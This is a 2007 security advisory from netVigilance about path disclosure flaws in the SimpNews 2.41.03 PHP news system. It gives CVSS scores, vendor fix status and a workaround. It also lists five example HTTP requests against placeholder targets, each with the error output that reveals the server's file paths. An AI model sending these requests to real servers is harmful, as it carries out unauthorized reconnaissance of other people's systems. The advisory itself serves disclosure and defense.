netVigilance Security Advisory #68 SimpNews version 2.41.03 Multiple Path Disclosure Vulnerabilities Description: SimpNews is a news system written in PHP. Features: Data stored in MySQL, admin interface, support for multiple languages, support for multiple instances in one database, own header, multiple layout settings, support for BBCode andsmilies, you can assin an icon graphic to every news entry, you can attach a file to news entries, entries can be put in categories, users can subscribe to get news sent by email, search entries, users can post comments on news entries, event calendar, newsticker, option to let users propose news entries. External References: Mitre CVE: CVE-2007-4872 NVD NIST: CVE-2007-4872 OSVDB: ID requested but no answer received Summary: SimpNews is a news system written in PHP. Security problems in the product allow attackers to gather the true path of the server-side script. Advisory URL: http://www.netvigilance.com/advisory0068 Release Date: 09/25/2007 CVSS Version 2 Metrics: Base Metrics: Exploitability Metrics: Access Vector: Network Access Complexity: Low Authentication: None Impact Metrics: Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Temporal Metrics: Exploitability: Functional Remediation Level: Official Fix Report Confidence: Confirmed CVSS Version 2 Vectors: Base Vector: "AV:N/AC:L/Au:N/C:P/I:N/A:N" Temporal Vector: "E:F/RL:OF/RC:C" CVSS Version 2 Scores: Base Score: 5 Impact Subscore: 2.9 Exploitability Subscore: 10 Temporal Score: 4.1 SecureScout Testcase ID: TC 17987 Vulnerable Systems: SimpNews version 2.41.03 Vulnerability Type: Program flaws - The product scripts have flaws which lead to Warnings or even Fatal Errors. Vendor: Bosch IT-Consulting Vendor Status: The Vendor has confirmed the problem and has release new version 2.42.01 that addresses the problem. New version of product was tested and we can confirm that all vulnerabilities were solved. For more information see vendor announcement. To download the latest version go to vendors product download area. Workaround: Disable warning messages: modify in the php.ini file following line: display_errors = Off. Or modify .htaccess file (this will work only for the apache servers). Example: Path Disclosure Vulnerability 1: REQUEST: http://[TARGET]/[PRODUCT DIRECTORY]/admin/index.php?lang=123 REPLY: ...Warning: main(./language/lang_123.php): failed to open stream: No such file or directory in [DISCLOSED PATH][PRODUCT DIRECTORY]\admin\index.php on line 11
Warning: main(): Failed opening './language/lang_123.php' for inclusion (include_path='.;c:\php4\pear') in [DISCLOSED PATH][PRODUCT DIRECTORY]\admin\index.php on line 11
Warning: Cannot modify header information - headers already sent by (output started at [DISCLOSED PATH][PRODUCT DIRECTORY]\admin\index.php:11) in [DISCLOSED PATH][PRODUCT DIRECTORY]\admin\heading.php on line 87
Warning: Cannot modify header information - headers already sent by (output started at [DISCLOSED PATH][PRODUCT DIRECTORY]\admin\index.php:11) in [DISCLOSED PATH][PRODUCT DIRECTORY]\admin\heading.php on line 88
Warning: Cannot modify header information - headers already sent by (output started at [DISCLOSED PATH][PRODUCT DIRECTORY]\admin\index.php:11) in [DISCLOSED PATH][PRODUCT DIRECTORY]\admin\heading.php on line 89
Warning: Cannot modify header information - headers already sent by (output started at [DISCLOSED PATH][PRODUCT DIRECTORY]\admin\index.php:11) in [DISCLOSED PATH][PRODUCT DIRECTORY]\admin\heading.php on line 90
... Path Disclosure Vulnerability 2: REQUEST: http://[TARGET]/[PRODUCT DIRECTORY]/admin/dbg_infos.php REPLY: Parse error: parse error, unexpected T_IF, expecting ',' or ';' in [DISCLOSED PATH][PRODUCT DIRECTORY]\admin\dbg_infos.php on line 34
Path Disclosure Vulnerability 3: REQUEST: http://[TARGET]/[PRODUCT DIRECTORY]/admin/heading.php REPLY: Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in [DISCLOSED PATH][PRODUCT DIRECTORY]\admin\heading.php on line 17
Path Disclosure Vulnerability 4: This vulnerability can be exploited only with PHP version < 5.0.0 and MS Windows hosting. REQUEST: http://[TARGET]/[PRODUCT DIRECTORY]/events.php?link_date=22007-02-17 REPLY: Warning: mktime(): Windows does not support negative values for this function in [DISCLOSED PATH][PRODUCT DIRECTORY]\events.php on line 143
Warning: date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970 in z[DISCLOSED PATH][PRODUCT DIRECTORY]\events.php on line 143
Path Disclosure Vulnerability 5: REQUEST: http://[TARGET]/[PRODUCT DIRECTORY]/evsearch.php REPLY: Parse error: parse error, unexpected '{' in [DISCLOSED PATH][PRODUCT DIRECTORY]\evsearch.php on line 599
Credits: Jesper Jurcenoks Co-founder netVigilance, Inc www.netvigilance.com ?? ?? ?? ??